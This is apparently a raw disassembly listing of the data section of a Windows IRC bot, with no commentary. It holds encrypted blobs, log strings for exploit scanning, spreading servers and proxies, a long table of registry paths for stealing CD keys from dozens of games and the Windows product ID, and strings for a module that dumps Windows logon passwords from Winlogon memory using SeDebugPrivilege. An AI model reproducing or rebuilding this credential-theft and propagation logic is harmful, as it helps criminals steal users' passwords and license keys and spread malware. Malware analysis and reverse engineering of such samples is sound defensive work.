0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_407110+42o align 4 unk_42B134 db 2 ; DATA XREF: sub_407110+11o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_42B168 db 2 ; DATA XREF: sub_4071DB+42o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_42B198 db 2 ; DATA XREF: sub_4071DB+2Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 unk_42B1C8 db 2 ; DATA XREF: sub_407252+36Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 unk_42B20C db 2 ; DATA XREF: sub_407252+307o ; sub_40EE72+54B9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dword_42B258 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+267o dd 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 4 dword_42B298 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+1FAo dd 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 unk_42B2E8 db 2 ; DATA XREF: sub_407252+149o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_1 db ' Failed to start server, error: <%d>.',0 unk_42B328 db 2 ; DATA XREF: sub_407252+DBo ; sub_40EE72+5343o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40762E+38o ; sub_40AEE0+46o unk_42B384 db 2 ; DATA XREF: sub_407767+EEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_42B3BC db 2 ; DATA XREF: sub_407767+93o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_42B408 db 2 ; DATA XREF: sub_40797F+1CEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_42B45C db 2 ; DATA XREF: sub_40797F+173o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_42B4A8 db 2 ; DATA XREF: sub_40797F+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h unk_42B4F0 db 2 ; DATA XREF: sub_40797F+87o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 4 unk_42B538 db 2 ; DATA XREF: sub_407BDE+156o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 unk_42B584 db 2 ; DATA XREF: sub_407BDE+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B5DC db 2 ; DATA XREF: ___:00407F10o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 unk_42B62C db 2 ; DATA XREF: ___:00407E47o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_42B680 db 2 ; DATA XREF: sub_407FEA+1B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_4 db 'Failed to start server on Port %d.',0 align 10h unk_42B6C0 db 2 ; DATA XREF: sub_407FEA+18Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0 unk_42B708 db 2 ; DATA XREF: sub_407FEA+114o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B75C db 2 ; DATA XREF: sub_407FEA+A8o ; sub_40EE72+5E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStarte_1 db 'Server started on: %s:%d.',0 align 4 unk_42B794 db 2 ; DATA XREF: sub_407FEA+3FEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 unk_42B7E4 db 2 ; DATA XREF: sub_407FEA+38Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 unk_42B830 db 2 ; DATA XREF: sub_407FEA+2F7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4085B3+11o aWindow db 'Window',0 ; DATA XREF: sub_4087EE+23o ; sub_4089E7+26o align 10h dd 80000001h off_42B894 dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr ; sub_408C26+21o ; "Software\\Valve\\CounterStrike\\Settings" ; --------------------------------------------------------------------------- push 500042CAh retf 42h ; --------------------------------------------------------------------------- dword_42B8A0 dd 2 dup(0) ; DATA XREF: sub_408C26+26o dd 80000001h, 42CA28h, 42CA1Ch, 42CA0Ch, 2 dup(0) dd 80000001h, 42C9ECh, 42C9E8h, 42C9D4h, 2 dup(0) dd 80000001h, 42C9B0h, 42C9E8h, 42C9A4h, 2 dup(0) dd 80000001h, 42C980h, 42C978h, 42C964h, 2 dup(0) dd 80000001h, 42C950h, 42C940h, 42C924h, 2 dup(0) dd 80000001h, 42C8E0h, 42CA68h, 42C8CCh, 2 dup(0) dd 80000002h, 42C8A0h, 42C894h, 42C874h, 2 dup(0) dd 80000002h, 42C840h, 42CA68h, 42C828h, 2 dup(0) dd 80000002h, 42C7F4h, 42CA68h, 42C7DCh, 2 dup(0) dd 80000002h, 42C7C4h, 42CA68h, 42C7ACh, 2 dup(0) dd 80000002h, 42C770h, 43C80Ch, 42C760h, 2 dup(0) dd 80000002h, 42C728h, 43C80Ch, 42C714h, 2 dup(0) dd 80000002h, 42C6C8h, 43C80Ch, 42C6A8h, 2 dup(0) dd 80000002h, 42C658h, 43C80Ch, 42C62Ch, 2 dup(0) dd 80000002h, 42C5F0h, 43C80Ch, 42C5DCh, 2 dup(0) dd 80000002h, 42C5A4h, 43C80Ch, 42C594h, 2 dup(0) dd 80000002h, 42C544h, 43C80Ch, 42C518h, 2 dup(0) dd 80000002h, 42C4D8h, 43C80Ch, 42C4BCh, 2 dup(0) dd 80000002h, 42C48Ch, 43C80Ch, 42C46Ch, 2 dup(0) dd 80000002h, 42C430h, 43C80Ch, 42C41Ch, 2 dup(0) dd 80000002h, 42C3D4h, 43C80Ch, 42C3B4h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_42C360[eax], al or al, 0C8h inc ebx add [eax], dh retn ; --------------------------------------------------------------------------- dw 42h dd 2 dup(0) dd 80000002h, 42C2E0h, 43C80Ch, 42C2B4h, 2 dup(0) dd 80000002h, 42C274h, 42C26Ch, 42C24Ch, 2 dup(0) dd 80000002h, 42C208h, 43C80Ch, 42C1ECh, 2 dup(0) dd 80000002h, 42C1A0h, 43C80Ch, 42C17Ch, 2 dup(0) dd 80000002h, 42C148h, 43C80Ch, 42C13Ch, 2 dup(0) dd 80000002h, 42C108h, 43C80Ch, 42C0FCh, 2 dup(0) dd 80000002h, 42C0C8h, 43C80Ch, 42C0BCh, 2 dup(0) dd 80000002h, 42C088h, 43C80Ch, 42C07Ch, 2 dup(0) dd 80000002h, 42C040h, 43C80Ch, 42C02Ch, 2 dup(0) dd 80000002h, 42BFF0h, 43C80Ch, 42BFDCh, 2 dup(0) dd 80000002h, 42BFACh, 42CA68h, 42BF90h, 2 dup(0) dd 80000002h, 42BF70h, 42BF68h, 42BF44h, 2 dup(0) dd 80000002h, 42BF28h, 42BF68h, 42BF08h, 2 dup(0) dd 80000002h, 42BEE8h, 42BF68h, 42BEC4h, 2 dup(0) dd 80000002h, 42BEACh, 42BF68h, 42BEA8h, 2 dup(0) dd 80000002h, 42BE8Ch, 42BE7Ch, 42BE74h, 2 dup(0) dd 80000002h, 42BE40h, 42BE3Ch, 42BE24h, 2 dup(0) dd 80000002h, 42BDE8h, 42BDDCh, 42BDB4h, 42BDA4h, 42BD90h dd 80000002h, 42BD6Ch, 42BD60h, 42BD4Ch, 42BD3Ch, 42BD34h dd 80000002h, 42BD6Ch, 42BD60h, 42BD08h, 42BD3Ch, 42BD00h dd 80000002h, 42BD6Ch, 42BD60h, 42BCD0h, 42BD3Ch, 42BCC8h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 ; DATA XREF: ___:004312ECo db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 10h db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 10h db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 10h db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 10h aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h byte_42C360 db 53h ; DATA XREF: ___:0042BAA2w aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 10h db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 10h db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 10h db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aCustomernumber db 'CustomerNumber',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 aCdkey db 'CDKey',0 align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o align 4 asc_42CA98: ; DATA XREF: sub_408C26+E9o ; sub_408C26+F4o unicode 0, <=>,0 aR: ; DATA XREF: sub_408C26+8Fo ; sub_40EE72:loc_413645o unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_408C26+7Eo ; sub_408EE5+45o ... align 4 aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo align 4 unk_42CABC db 2 ; DATA XREF: sub_408DCA+C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_42CAEC db 2 ; DATA XREF: sub_408DCA+5Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408EE5+107o align 4 aS_3 db '%s\*',0 ; DATA XREF: sub_408EE5+1Ao align 4 unk_42CB3C db 2 ; DATA XREF: sub_409037:loc_4091B0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToEnable db ' Failed to enable Debug Privilege.',0 align 10h unk_42CB80 db 2 ; DATA XREF: sub_409037:loc_409183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindWi db ' Unable to find Winlogon Process ID.',0 unk_42CBC4 db 2 ; DATA XREF: sub_409037:loc_40917Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindTh db ' Unable to find the password in memory.',0 align 4 unk_42CC0C db 2 ; DATA XREF: sub_409037+117o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLogo db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(no password)).',0 align 4 off_42CC84 dd offset byte_530055 ; DATA XREF: sub_409037+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004B+2 dd offset byte_4E0049 dd 0 off_42CC9C dd offset byte_530055 ; DATA XREF: sub_409037+CEo dd offset byte_520045 dd offset loc_41004B+3 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_409037+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o ; sub_409037+161o ... align 10h unk_42CD60 db 2 ; DATA XREF: sub_409037+35o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aOnlySupportedO db ' Only supported on Windows NT/2000.',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_409209+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_409209+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_409209+AFo align 10h unk_42CDC0 db 2 ; DATA XREF: sub_40966F+70o ; sub_409706+C7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_0 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/%S).',0 align 4 unk_42CE2C db 2 ; DATA XREF: sub_409706+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_1 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(N/A)).',0 align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40981F:loc_40A45Ao align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40981F+BE6o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40981F+BD9o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40981F+BCCo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40981F+BBFo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40981F+BB2o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo align 4 